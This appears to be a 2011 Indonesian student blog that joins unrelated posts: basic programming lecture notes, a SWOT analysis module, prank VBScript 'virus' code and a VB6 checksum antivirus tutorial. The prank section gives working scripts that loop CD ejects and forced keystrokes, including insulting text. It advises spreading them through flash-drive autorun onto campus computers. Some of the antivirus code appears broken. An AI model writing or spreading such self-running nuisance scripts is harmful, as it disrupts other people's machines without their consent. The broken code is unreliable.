Sabtu, 29 Oktober 2011

komputer

KOMPUTER
>:suatu mesin yang melakukan tugas yang sederhana berdasarkan instruksi-instruksi tertentu
tugas-tugas ini dapat dilakukan dengan kecepatan dan ketelitian yang tinggi
perintah-perintah disusun berupa kode-kode biner, yaitu : 1 (satu) dan 0 (nol)

>:cONTOH
Perintah :
Add A, B, C
Artinya "tambahkan bilangan di lokasi memory A ke bilangan di lokasi memory B dan taruh hasilnya di lokasi memory C"
Kode binernya :
0110000100100011

>:bAHASA PEMROGRAMAN
Sebagai penghubung antara manusia dan komputer
Bahasa manusia  kompilator  bahasa mesin

>:BAHASA C++
Bahasa pendukung pemrograman berorientasi objek
dirancang oleh Bjarne Stroustrup dari AT&T Bell Laboratories
C++ : class, type checking, overloading, free store management, constant type, reference, inline functions, derived class dan virtual function

>:VARIABEL
merupakan suatu nama yang menyiratkan lokasi memori komputer
dapat digunakan untuk menyimpan nilai, di mana isinya dapat diubah-ubah
dapat dipandang sebagai abstraksi dari lokasi
Nilai dari suatu variable diubah dengan assignment statement

>:terdiri dari sebuah variable di sebelah kirinya dan suatu ekspresi di sebelah kanannya
Ekspresi : kumpulan operan dan operator yang mempunyai nilai tunggal

>:VARIABEL
Harus dideklarasikan lebih dahulu
Setiap variable harus mempunyai tipe
Berkaitan dengan alokasi tempat penyimpanan
Tipe : integer, float, double, char, dll.

>:JENIS N TYPE DATA
Jenis nilai yang dapat disimpan dalam lokasi memori untuk variable tersebut
Sehingga : membatasi himpunan nilai-nilai yang dapat dipunyai variable tersebut
Jenis operasi yang dapat dilakukan terhadap variable bersangkutan

>:PERNYATAAN
Merupakan deretan instruksi yang akan dieksekusi oleh komputer
2 macam, yaitu :
pernyataan sederhana, diakhiri titik koma “ ; “
pernyataan majemuk (compound statement) diawali {, diakhiri }

>:PENGANTAR ALGORITMA
Algorism - Algorist : menghitung menggunakan Angka Arab
Al-Khuwarizmi dibaca orang barat menjadi Algorism
Abu Ja’far Muhammad Ibnu Musa Al-Khuwarizmi menulis buku yang berjudul Kitab Al Jabar Wal-Muqabala yang artinya Buku pemugaran dan pengurangan
Algorism - Algorithm : metode perhitungan (komputasi)

>:PENGANTAR ALGO 2
“Algoritma adalah urutan langkah-langkah logis penyelesaian masalah yang disusun secara sistematis dan logis”. 
Kata Logis merupakan kata kunci dalam Algoritma. Langkah-langkah dalam Algoritma harus logis dan harus dapat ditentukan bernilai salah atau benar (ingat : Logika Matematika)

>:PENGANTAR ALGO 3
Pelaksana algoritma : prosesor
Prosesor haruslah :
Mengerti setiap langkah dalam Algoritma 
Mengerjakan operasi yang bersesuaian dengan  langkah tersebut
Agar dapat dilaksanakan oleh komputer, algoritma harus ditulis dalam notasi bahasa pemrograman (dinamakan program). 

>:PENGANTAR ALGO
Pelaksana algoritma : prosesor
Prosesor haruslah :
Mengerti setiap langkah dalam Algoritma 
Mengerjakan operasi yang bersesuaian dengan  langkah tersebut
Agar dapat dilaksanakan oleh komputer, algoritma harus ditulis dalam notasi bahasa pemrograman (dinamakan program). 
Belajar Memprogram vs Belajar Bahasa Pemrograman
Belajar Memprogram : belajar tentang metodologi pemecahan masalah, kemudian menuangkannya dalam suatu notasi tertentu yang mudah dibaca dan dipahami
Belajar Bahasa Pemrograman : belajar memakai suatu bahasa aturan-aturan tata bahasanya, instruksi-instruksinya, tata cara pengoperasian compiler-nya, dan memanfaatkan instruksi-instruksi tersebut untuk membuat program yang ditulis hanya dalam bahasa itu saja.

>:PENGANTAR 4
Coba bedakan dua pertanyaan berikut :
Berapakah nilai 1 + 2 ?
dan
Bagaimanakah algoritma menjumlah dua buah bilangan bulat ?

:>Mengapa susunan suatu ekspresi itu penting ?

bil1 + bil2 mempunyai nilai yang sama dengan bil2 + bil1
Apakah :
bil1 / bil2 = bil2 / bil1 ?

>:Algoritma menjumlah dua bilangan bulat


baca bil1 dan bil2 (input)
jumlah  bil1 + bil2 (proses)
tulis(jumlah) (output)

>:Algoritma secara umum


Input  Proses  Output

>:FLOWCHART


TUGAS

Membuat contoh :
Algoritma
Pemrograman
Bukan algoritma
Kemudian mem-posting ke blognya sendiri
Menyiapkan kompetensi :
Modul 1 C++ Fundamental
Menyiapkan bahan materi Sekuen untuk kuliah minggu depan
Menyiapkan kuis dengan materi Pemrograman C++

From: DANANG H.
dikumpulkan ya setelah UTS

D3 MI {SWOT}

BAB I
ANALISA SWOT, VISI, MISI


1. TUJUAN MATERI
1. Peserta mampu memahami pengertian analisa SWOT serta penerapannya.
2. Peserta mampu memahami pengertian visi dan misi serta penerapannya.
3. Peserta mampu memahami keterkaitan antara analisa SWOT, visi dan misi dalam merumuskan, menjalankan maupun mengevaluasi sebuah organisasi atau program.

2. PENDAHULUAN
Jika anda ingin berhasil, jangan takut untuk berpikir besar tapi untuk itu mulailah bertindak berdasarkan tujuan. Sering kali kita sebagai manusia melewatkan hal-hal yang semestinya kita lakukan dan melakukan hal-hal yang mestinya kita lewatkan. Hal ini terjadi karena sebagian besar kita lupa untuk merumuskan tujuan dari setiap langkah yang kita ambil sehingga seringkali kita tersesat ditengah perjalanan dan hanya berputar-putar. Prinsip ini juga berlaku dalam organisasi. Untuk membangun sebuah organisasi ataupun menjalankannya dengan membuat program-program setiap organisasi harus merumuskan jati dirinya dan memetakan diri dan lingkungannya. Selalu dibutuhkan upaya untuk memusatkan konsentrasi organisasi pada satu atau beberapa bidang tertentu. Hal ini akan memudahkan organisasi untuk melihat apa yang diinginkannya, bagaimana cara mencapainya dan melakukan evaluasi sejauh manakah hal tersebut terlaksana.
Semua proses ini dapat kita sebut sebagai proses manajemen. Proses ini adalah proses yang holistik, melibatkan banyak sisi yang akan saling berinteraksi. Sebagai langkah awal dari proses ini langkah teknis yang dapat kita pelajari adalah bagaimana kita mampu memetakan masalah dengan sebuah metoda analisa tertentu dan metoda tersebut adalah analisa SWOT, yang disusul dengan perumusan bagian jati diri yaitu visi dan misi organisasi. Sebagai bagian dari sebuah proses yang holistik proses ini hendaknya dipandang sebagai bagian yang integral dari proses manajemen selanjutnya yang akan dibahas dalam bagian lain dari diklat ini.

3. ANALISA SWOT
Analisa SWOT adalah sebuah bentuk analisa situasi dan kondisi yang bersifat deskriptif (memberi gambaran). Analisa ini menempatkan situasi dan kondisi sebagai sebagai faktor masukan, yang kemudian dikelompokkan menurut kontribusinya masing-masing. Satu hal yang harus diingat baik-baik oleh para pengguna analisa SWOT, bahwa analisa SWOT adalah semata-mata sebuah alat analisa yang ditujukan untuk menggambarkan situasi yang sedang dihadapi atau yang mungkin akan dihadapi oleh organisasi, dan bukan sebuah alat analisa ajaib yang mampu memberikan jalan keluar yang “cespleng” bagi masalah-masalah yang dihadapi oleh organisasi.

Analisa ini terbagi atas empat komponen dasar yaitu :
1. S = Strength, adalah situasi atau kondisi yang merupakan kekuatan dari organisasi atau program pada saat ini.
2. W = Weakness,.adalah situasi atau kondisi yang merupakan kelemahan dari organisasi atau program pada saat ini.
3. O = Opportunity, adalah situasi atau kondisi yang merupakan peluang di luar organisasi dan memberikan peluang berkembang bagi organisasi di masa depan.
4. T = Threat, adalah situasi yang merupakan ancaman bagi organisasi yang datang dari luar organisasi dan dapat mengancam eksistensi organisasi di masa depan.
Selain empat komponen dasar ini, analisa SWOT, dalam proses penganalisaannya akan berkembang menjadi beberapa Sub komponen yang jumlahnya tergantung pada kondisi organisasi. Sebenarnya masing-masing sub komponen adalah pengejawantahan dari masing-masing komponen, seperti Komponen Strength mungkin memiliki 12 sub komponen, Komponen Weakness mungkin memiliki 8 sub komponen dan seterusnya.

4. JENIS ANALISA SWOT
Terdapat dua model analisa SWOT yang umum digunakan dalam melakukan analisa situasi yaitu :
1. Model Kuantitatif
Sebuah asumsi dasar dari model ini adalah kondisi yang berpasangan antara S dan W serta O dan T. Kondisi berpasangan ini terjadi karena diasumsikan bahwa dalam setiap kekuatan selalu ada kelemahan yang tersembunyi dan dari setiap kesempatan yang terbuka selalu ada ancaman yang harus diwaspadai. Ini berarti setiap satu rumusan Strength (S), harus selalu memiliki satu pasangan Weakness (W) dan setiap satu rumusan Opportunity (O) harus memiliki satu pasangan satu Threath (T).

Contoh pasangan Kekuatan dan Kelemahan :
Komponen Sub Komponen Komponen Sub Komponen
S Organisasi saat ini memiliki jumlah anggota yang sangat besar W Jumlah anggota yang besar menurunkan tingkat efektifitas koordinasi dan komunikasi antar anggota

Contoh pasangan Kesempatan dan Ancaman :
Komponen Sub Komponen Komponen Sub Komponen
O Perbaikan tingkat ekonomi membuat makin banyak anak-anak Hindu yang bersekolah hingga perguruan tinggi di Surabaya, sehingga calon anggota KMHDI PC Surabaya makin banyak T Calon anggota yang berasal dari keluarga yang mapan seringkali tidak militan dan bersifat agak borjuis

Kemudian setelah masing-masing komponen dirumuskan dan dipasangkan, langkah selanjutnya adalah melakukan proses penilaian. Penilaian dilakukan dengan cara memberikan skor pada masing-masing sub komponen, dimana satu sub komponen dibandingkan dengan sub komponen yang lain dalam komponen yang sama atau mengikuti lajur vertikal. Sub komponen yang lebih menentukan dalam jalannya organisasi, diberikan skor yang lebih besar. Standar penilaian dibuat berdasarkan kesepakatan bersama untuk mengurangi kadar subyektifitas penilaian.

Contoh Pemberian skor :
Kmp Sub Kmp Skor Kmp Sub Kmp Skor
S 1. Organisasi saat ini memiliki jumlah anggota yang banyak

2. Organisasi memiliki cadangan dana yang besar

3. Organisasi telah memiliki berbagai peraturan yang jelas tentang segala hal
40



30


30 W 1. Jumlah anggota yang banyak, menurunkan efektifitas koordinasi dan komunikasi
2. Cadangan dana yang besar dapat membuat idealisme menurun
3. Peraturan yang ketat membuat organisasi menjadi kaku 60



10


30
Skor total komponen S 100 Skor total komponen W 100

Hasil penilaian ini dapat dilihat bentuknya dalam diagram cartesian dimana Strength (S) berpasangan dengan Weakness (W) dan Opportunity (O) berpasangan dengan Threat (T).

Contoh diagram Cartesian S dan W :
S





60
50
40
30 S1W1
20 S3W3
10 S2W2
0 W
10 20 30 40 50 60

Dari diagram cartesian tersebut, dapat dilakukan analisa sebagai berikut :
a. Faktor anggota sebagaimana yang dicerminkan dalam garis S1W1 memiliki faktor yang sangat dominan dalam organisasi ini, yang berarti perubahan-perubahan yang terjadi dalam masalah-masalah keanggotaan akan memberikan pengaruh yang sangat besar terhadap organisasi
b. Faktor peraturan adalah faktor perubah kedua dalam organisasi ini sebagaimana yang dicerminkan oleh garis S3W3, yang berarti perubahan-perubahan yang terjadi dalam bidang peraturan akan mempengaruhi organisasi, tidak sebesar pengaruh keanggotaan, namun lebih besar daripada pengaruh pendanaan.
c. Faktor pendanaan adalah faktor terakhir yang menentukan dalam organisasi ini, sebagaimana yang tercermin dalam garis S2W2, yang berarti perubahan dalam kondisi pendanaan, tidak akan terlalu mempengaruhi dinamika organisasi, atau dalam kondisi yang paling ekstrem “walaupun tanpa dana” organisasi masih akan mampu bergerak dan berubah.
d. Analisa gabungan yang dapat ditarik dari diagram ini adalah, apabila organisasi merasa perlu melakukan suatu program kerja yang bersifat prioritas, maka program kerja tersebut harus berupa suatu program kerja yang berhubungan dengan masalah keanggotaan dibandingkan dengan membuat program kerja yang berhubungan pendanaan atau pembuatan peraturan.

2. Model Kualitatif
Urut-urutan dalam membuat Analisa SWOT kualitatif, tidak berbeda jauh dengan urut-urutan model kuantitatif, perbedaan besar diantara keduanya adalah pada saat pembuatan sub komponen dari masing-masing komponen. Apabila pada model kuantitatif setiap sub komponen S memiliki pasangan sub komponen W, dan satu sub komponen O memiliki pasangan satu sub komponen T, maka dalam model kualitatif hal ini tidak terjadi. Selain itu, Sub Komponen pada masing-masing komponen (S-W-O-T) adalah berdiri bebas dan tidak memiliki hubungan satu sama lain. Ini berarti model kualitatif tidak dapat dibuatkan Diagram Cartesian, karena mungkin saja misalnya, Sub Komponen S ada sebanyak 10 buah, sementara sub komponen W hanya 6 buah..

Contoh Model Kualitatif :
Komp Sub.Komp Komp Sub.Komp
S 1. Organisasi memiliki anggota yang banyak
2. Organisasi memiliki cadangan dana yang besar
3. Organisasi memiliki peraturan yang lengkap
4. Organisasi memiliki sekretariat yang representatif W 1. Budaya organisasi adalah budaya tradisional yang menghambat tercapainya kondisi kerja yang efisien
2. Keinginan anggota untuk belajar dari kesalahan sangat rendah


Sebagai alat analisa, analisa SWOT berfungsi sebagai panduan pembuatan peta. Ketika telah berhasil membuat peta, langkah tidak boleh berhenti karena peta tidak menunjukkan kemana harus pergi, tetapi peta dapat menggambarkan banyak jalan yang dapat ditempuh jika ingin mencapai tujuan tertentu. Peta baru akan berguna jika tujuan telah ditetapkan. Bagaimana menetapkan tujuan adalah bahasan selanjutnya yaitu membangun visi-misi organisasi atau program.

5. VISI DAN MISI
Pertanyaan mendasar dari sesi ini adalah , mengapa kita perlu tujuan, apakah itu tujuan dan bagaimana kita akan merumuskannya ?
Dalam perumusan sebuah organisasi atau program kerja, diperlukan arah sebagai petunjuk momen gerakan yang dilakukan, karena itulah essensi dari bergerak, bukan hanya berpindah tapi bergerak menuju sesuatu. Selama perjalanan tersebut, tujuan juga berfungsi sebagai acuan perkembangan. Tujuan adalah sebuah konsep yang menerangkan “kemana kita akan pergi”, tujuan ini diterjemahkan dalam beberapa bentuk, satu diantaranya adalah visi dan misi.
Visi merupakan sesuatu yang didambakan untuk dimiliki dimasa depan (what do they want to have), Visi menggambarkan aspirasi masa depan tanpa menspesifikasi cara-cara untuk mencapainya, visi yang efektif adalah visi yang mampu membangkitkan inspirasi
Misi adalah bentuk yang didambakan di masa depan (what do they want to be). Misi merupakan sebuah pernyataan yang menegaskan visi lewat pilihan bentuk atau garis besar jalan yang akan diambil untuk sampai pada visi yang telah lebih dulu dirumuskan. Keduanya tidak memiliki dimensi ukur kuantitatif (persentase, besaran waktu, dll). Sebagai konsep yang ideal visi-misi ini harus diterjemahkan lagi dalam konsep yang lebih nyata dan terukur yaitu tujuan (objective). Tujuan dalam konteks ini tidak sama dengan tujuan yang kita bahas didepan. Tujuan yang kita bahas disini adalah tujuan sebagai konsep yang jauh lebih riil.
Proses perumusan visi-misi maupun tujuan dari sebuah organisasi atau program bukanlah proses yang mudah dan tanpa perenungan. Proses ini adalah proses yang subyektif dan sangat tergantung pada iklim organisasi. Yang paling penting adalah bagaimana membangun visi-misi dan tujun melalui proses yang sedemokratis mungkin. Yang selanjutnya adalah bagaimana interaksi dari bahasan analisa SWOT, Visi dan Misi dapat merumuskan sebuah tujuan yang riil dan terukur dalam perjalanan roda organisasi.

6. INTERAKSI ANALISA SWOT, VISI DAN MISI
Bahasan mengenai analisa SWOT, Visi dan Misi adalah suatu bagian integral dari sebuah organisasi, sehingga kaitan diantara ketiganya harus dikuasai dengan baik sebelum melangkah ke konsep-konsep selanjutnya dalam menggerakkan organisasi. Analisa SWOT, visi dan misi sebagai sebuah konsep memiliki interaksi yang erat, baik pada saat perumusan, pelaksanaan maupun evaluasi organisasi atau program. A

pelajari

Standar Kompetensi
• Mampu memahami konsep manajemen, peran penting manajer, perencanaan, pengorganisasian, implementasi dan evaluasi dalam pengelolaan sebuah organisasi
• Menguasai konsep dasar manajemen, visi, organisasi, tahapan manajemen, kepemimpinan dan manajemen perubahan serta fungsinya di dalam penyelesaian masalah

Kompetensi Dasar (1/2)
• Mengenal konsep manajemen
• Mengenal konsep visi dan kedudukannya dalam manajemen
• Mengenal organisasi serta kedudukannya dalam manajemen dan alat mencapai visi organisasi
• Mengenal peran manajer di dalam manajemen
• Mengenal konsep perencanaan dan kedudukan pentingnya dalam manajemen
Kompetensi Dasar (2/2)
• Mengenal konsep pengorganisasian serta kedudukan pentingnya dalam manajemen
• Mengenal konsep koordinasi serta kedudukan pentingnya dalam manajemen
• Memahami prinsip-prinsip wewenang dan delegasi serta kedudukan pentingnya dalam manajemen
• Memahami prinsip-prinsip rentang manajemen serta kedudukan pentingnya dalam manajemen
• Memahami prinsip-prinsip kepemimpinan serta kedudukan pentingnya dalam manajemen
• Memahami prinsip-prinsip motivasi serta kedudukan pentingnya dalam manajemen
• Memahami prinsip-prinsip pengawasan serta kedudukan pentingnya dalam manajemen
• Memahami konsep perubahan organisasi serta kedudukan pentingnya dalam manajemen
• Memahami konsep pengembangan organisasi serta kedudukan pentingnya dalam manajemen
• T. Hani Handoko, , (2003) Manajemen, BPFE UGM, Yogyakarta
• Gibson, Ivancevich, Donelly (1996) Organisasi : perilaku, struktur dan proses, jilid 1, edisi kedelapan, alih bahasa Nunuk Adiarni, Binarupa Aksara
• Gibson, Ivancevich, Donelly (1996) Organisasi : perilaku, struktur dan proses, jilid 2, edisi kedelapan, alih bahasa Nunuk Adiarni, Binarupa Aksara
• Morgan, Garerth (1997), Images of Organization, Sage Publications
• Collin, J.C., Porras, J.I. (2001) Built To Last : Tradisi Sukses Perusahaan-perusahaan Visioner, Alih Bahasa, Hifni Alifahmi, Erlangga, Jakarta



makasih teman2 mau membaca tingkatkan ya teman2
kalau bs tambah posting saya j lewat koment

Selasa, 25 Oktober 2011

ayo baca dan praktikan ya

Caranya: Buka notepad dan masukkan code berikut,

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Simpanlah dengan file tadi dengan ekstensi file iseng.vbs ato apapun nama kesukaan asalkan pastikan ekstensinya .vbs, dan jalankan filenya ( Klik 2x), perhatikan CD/DVD ROM akan terbuka/tertutup dengan sendirinya tanpa henti.

Cara membuat virus nakal

Salah satu cara menghentikan aksi Virus Nakal ini ialah dengan menekan tombol CRTL+ALT+DEL dan matikan proses wscripts.exe, Kalo mau keren lagi, masukkan ke file autorun.inf di flashdisk anda, jadi setiap loe colokin ke kompie kampus, maka akan otomatis dijalankan “Virus” Nakal ini.

NB: kl males atau ga tau cara copasnya. download ajah linknya diakhir artikel:

Nah mau script .vbs yang laen lagi?

WScript.Sleep 18000
WScript.Sleep 1000
do
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "H"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "l"
WScript.Sleep 500
WshShell.SendKeys "o"
WScript.Sleep 500
WshShell.SendKeys ". "
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "p"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "K"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "i"
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
wscript.sleep 5000
loop

Scripts diatas nanti otomatis buka notepad dan ketik: Halo. apa kabar? kabar baik?

ingat yah simpan dengan ekstensi nama .vbs, klik file–>save as

Buat virus nakal

Kode Vbs ini akan membuat user terus mengetikkan kata2 “Kamu emang jelek koq!” :D

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Kamu emang jelak koq!"
loop

Dan membuat terus menerus menekan tombol “Enter”

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Terus tekan backspace:

MsgBox "Balik lagi ah...saltik"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

av n nv

Main#
Sekarang kehadiran para virus maker (–selanjutnya disingkat jadi VM saja) lokal telah membuat gerah para user komputer tanah air. Bisa dibayangkan bila dari sekian banyak virus lokal tidak satu-dua yang menghancurkan data (terutama bagi file office; word, excel, dll…). Bagi para vendor Anti Virus (–selanjutnya disingkat menjadi AV saja) fenomena ini adalah lahan bisnis untuk produk mereka. Sebut saja NORMAN, yang kini men-support perusahaan konsultan virus lokal (–VAKSIN.COM) , Symantec, McAffe, NOD32, dan sebagainya. Dengan menawarkan update definisi software AV tercepat, engine scanner paling sensitif, dan lain-lain merupakan kiat untuk memancing para korban virus membeli dan menggunakan software AV mereka. Bagi penulis sendiri hal ini memang agak memberatkan mengingat update file definisi atau engine AV tsb haruslah melalui koneksi internet. Lalu bagaimana yang tidak mempunyai akses sama sekali? Konsekuensinya iyalah tertinggal dalam hal pengenalan varian virus baru yang pada ujung-ujungnya membuat AV yang sudah terinstall bagai ‘Macan Ompong’. Kalau kita membuat AV sendiri bagaimana? dengan database definisi yang bisa diupdate oleh kita bahkan dapat saling tukar dengan teman? Bisa saja, dengan syarat mau mempelajari sedikit teknik pemograman.Pertama kita harus mengerti bagaimana cara kerja sebuah AV sederhana, pada dasarnya sebuah software AV mempunyai komponen-komponen :1. Engine scanner, ini merupakan komponen utama AV dalam mengenali sebuah pattern virus. Engine ini dapat dikelompokkan menjadi statis dan dinamis. Statis dalam hal ini dapat disebut menjadi spesifik terhadap pattern tertentu dari sebuah file virus. Checksum merupakan salah satu contoh dari engine statis ini. Dinamis dalam artian dia mengenali perilaku ‘umum’ sebuah virus. Heuristic menjadi salah satu contohnya.
2. Database definition, menjadi sebuah referensi dari sebuah pattern file virus. Engine statis sangat bergantung kepada komponen ini.
3. Decompress atau unpacking engine, khusus untuk pengecekan file-file yang terkompresi (*.rar, *.zip, dll) atau kompresi atau packing untuk file PE seperti UPX, MeW , dll.Tidak jarang hasil dari pengecekan terhadap file suspect virus menghasilkan false-positive bahkan false-negative (– false-positive berarti file yang bersih dianggap thread oleh AV, dan false-negative berarti file yang 100% thread akan dianggap bersih). Semua itu dapat diakibatkan oleh ketidak-sempurnaan dari engine scanner itu sendiri. Misal
pada contoh kasus Engine String scanner (–Engine scanner yang menyeleksi string-string dari file text-based), bila diterapkan rule 3 out of 5 (– bila AV menemukan 3 dari daftar 5 string kategori malicious) maka AV akan memberikan bahwa file terindikasi sebuah thread yang positif. Padahal file tsb nyatanya tidak menimbulkan efek berbahaya bila dijalankan atau dieksekusi. Kesalahan scanning macam ini lazim ditemukan untuk file-file *.VBS, *.HTML, dll. Untuk penggunaan engine checksum sangat banyak ditemui di beberapa software AV lokal. Checksum yang lazim digunakan diantaranya CRC16, CRC32, MD5, dll. Dikarenakan mudah untuk diimplementasikan. Engine ini sendiri bukannya tanpa cacat, Checksum bekerja dengan memproses byte demi byte dari sebuah file dengan sebuah algoritma tertenu (– tergantung dari jenis checksum yang digunakan) sehingga menghasilkan sebuah format tertentu dari file tsb. Contoh checksum menggunakan CRC32 dan MD5 :* calCrc = CRC32(file_name_and_path)
* calMD5 = MD5(file_name_and_path)Maka isi dari string calCrc adalah 7AF9E376, sedangkan untuk MD5nya adalah 529CA8050A00180790CF88B63468826A. Perlu diketahui bila virus menerapkan rutin yang mengubah byte tertentu dari badan virus tsb setiap kali maka penggunaan engine checksum ini akan kurang optimal karena bila 1 byte berubah dari file maka checksum juga akan berubah.Mari kita belajar membuat sebuah AV sederhana, yang diperlukan :1. Software Visual Basic 6.0
2. Sedikit pemahaman akan pemograman Visual Basic 6.0
3. Sampel file bersih atau virus (– opsional)First#
Sekarang kita akan belajar membuat sebuah rutin sederhana untuk :
- Memilih file yang akan dicek
- Membuka file tersebut dalam mode binary
- Memproses byte demi byte untuk menghasilkan ChecksumBuka MS-Visual Basic 6.0 anda, lalu buatlah sebuah class module dan Form dengan menambahkan sebuah objek Textbox, CommonDialog dan Command Button. (Objek CommonDialog dapat ditambahkan dengan memilih Project -> COmponent atau Ctrl-T dan memilih Microsoft Common Dialog Control 6.0) Ketikkan kode berikut pada class module (kita beri nama class module tsb clsCrc) :================= START HERE ====================Private crcTable(0 To 255) As Long ‘crc32Public Function CRC32(ByRef bArrayIn() As Byte, ByVal lLen As Long, Optional ByVal lcrc As Long = 0) As Long‘bArrayIn adalah array byte dari file yang dibaca, lLen adalah ukuran atau size fileDim lCurPos As Long ‘Current position untuk iterasi proses array bArrayIn
Dim lTemp As Long ‘variabel temp hasil perhitunganIf lLen = 0 Then Exit Function ‘keluar fungsi apabila ukuran file = 0
lTemp = lcrc Xor &HFFFFFFFFFor lCurPos = 0 To lLen
lTemp = (((lTemp And &HFFFFFF00) &H100) And &HFFFFFF) Xor (crcTable((lTemp And 255) Xor bArrayIn(lCurPos)))
Next lCurPosCRC32 = lTemp Xor &HFFFFFFFFEnd FunctionPrivate Function BuildTable() As Boolean
Dim i As Long, x As Long, crc As Long
Const Limit = &HEDB88320For i = 0 To 255
crc = i
For x = 0 To 7
If crc And 1 Then
crc = (((crc And &HFFFFFFFE) 2) And &H7FFFFFFF) Xor Limit
Else
crc = ((crc And &HFFFFFFFE) 2) And &H7FFFFFFF
End If
Next x
crcTable(i) = crc
Next i
End FunctionPrivate Sub Class_Initialize()
BuildTable
End Sub================= END HERE ====================Lalu ketikkan kode berikut dalam event Command1_Click :================= START HERE ====================Dim namaFileBuka As String, HasilCrc As String
Dim CCrc As New clsCrc ‘bikin objek baru dari class ClsCrc
Dim calCrc As Long
Dim tmp() As Byte ‘array buat file yang dibacaPrivate Sub Command1_Click()
CommonDialog1.CancelError = True ‘error bila user mengklik cancel pada CommonDialog
CommonDialog1.DialogTitle = “Baca File” ‘Caption commondialogOn Error GoTo erorhandle ‘label error handleCommonDialog1.ShowOpen
namafilbuka = CommonDialog1.FileName
Open namafilbuka For Binary Access Read As #1 ‘buka file yang dipilih dengan akses baca pada mode binary
ReDim tmp(LOF(1) – 1) As Byte ‘deklarasi ulang untuk array, # Bugs Fixed #
Get #1, , tmp()
Close #1calCrc = UBound(tmp) ‘mengambil ukuran file dari array
calCrc = CCrc.CRC32(tmp, calCrc) ‘hitung CRCHasilCrc = Hex(calCrc) ‘diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric
Text1.Text = HasilCrc ‘tampilkan hasilnya
Exit Suberorhandle:
If Err.Number <> 32755 Then MsgBox Err.Description ‘error number 32755 dalah bila user mengklik tombol cancel pada saat memilih file================= END HERE ====================COba anda jalankan program diatas dengan memencet tombol F5, lalu klik Command1 untuk memilih dan membuka file. Maka program akan menampilkan CRC32nya.Second#
Kode diatas dapat kita buat menjadi sebuah rutin pengecekan file suspect virus dengan antara membandingkan hasil CRC32nya dan database CRC kita sendiri. Algoritmanya adalah :
- Memilih file yang akan dicek
- Membuka file tersebut dalam mode binary
- Memproses byte demi byte untuk menghasilkan Checksum
- Buka file database
- Ambil isi file baris demi baris
- Samakan Checksum hasil perhitungan dengan checksum dari fileFormat file database dapat kita tentukan sendiri, misal :
- FluBurung.A=ABCDEFGH
- Diary.A=12345678
Dimana FluBurung.A adalah nama virus dan ABCDEFGH dalah Crc32nya. Jika kita mempunyai format file seperti diatas, maka kita perlu membaca file secara sekuensial per baris serta memisahkan antara nama virus dan Crc32nya. Dalam hal ini yang menjadi pemisah adalah karakter ‘=’.
Buat 1 module baru (– diberi nama module1) lalu isi dengan kode :================= START HERE ====================Public namaVirus As String, CrcVirus As String ‘deklarasi variabel global untuk nama dan CRC virus Public pathExe as String ‘deklarasi variabel penyimpan lokasi file EXE AV kitaPublic Function cariDatabase(Crc As String, namaFileDB As String) As Boolean
Dim lineStr As String, tmp() As String ‘variabel penampung untuk isi file
Open namaFileDB For Input As #1 ‘buka file dengan mode input
Do
Line Input #1, lineStr
tmp = Split(lineStr, “=”) ‘pisahkan isi file bedasarkan pemisah karakter ‘=’
namaVirus = tmp(0) ‘masukkan namavirus ke variabel dari array
CrcVirus = tmp(1) ‘masukkan Crcvirus ke variabel dari array
If CrcVirus = Crc Then ‘bila CRC perhitungan cocok/match dengan database
cariDatabase = True ‘kembalikan nilai TRUE
Exit Do ‘keluar dari perulangan
End If
Loop Until EOF(1)
Close #1
End Function================= END HERE ====================Lalu tambahkan 1 objek baru kedalam Form, yaitu Command button2. lalu ketikkan listing kode berikut kedalam event Command2_Click :================= START HERE ====================
If Len(App.Path) <= 3 Then ‘bila direktori kita adalah root direktori pathEXE = App.Path Else pathEXE = App.Path & “” End IfCommonDialog1.CancelError = True ‘error bila user mengklik cancel pada CommonDialog CommonDialog1.DialogTitle = “Baca File” ‘Caption commondialogOn Error GoTo erorhandle ‘label error handleCommonDialog1.ShowOpen namafilbuka = CommonDialog1.FileName Open namafilbuka For Binary Access Read As #1 ‘buka file yang dipilih dengan akses baca pada mode binary ReDim tmp(LOF(1) – 1) As Byte ‘deklarasi ulang untuk array # Bugs Fixed # Get #1, , tmp() Close #1calCrc = UBound(tmp) ‘mengambil ukuran file dari array calCrc = CCrc.CRC32(tmp, calCrc) ‘hitung CRCHasilCrc = Hex(calCrc) ‘diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric If cariDatabase(HasilCrc, pathEXE & “DB.txt”) Then ‘bila fungsi bernilai TRUE MsgBox “Virus ditemukan : ” & namaVirus ‘tampilkan message Box End If Exit Suberorhandle: If Err.Number <> 32755 Then MsgBox Err.Description ‘error number 32755 dalah bila user mengklik tombol 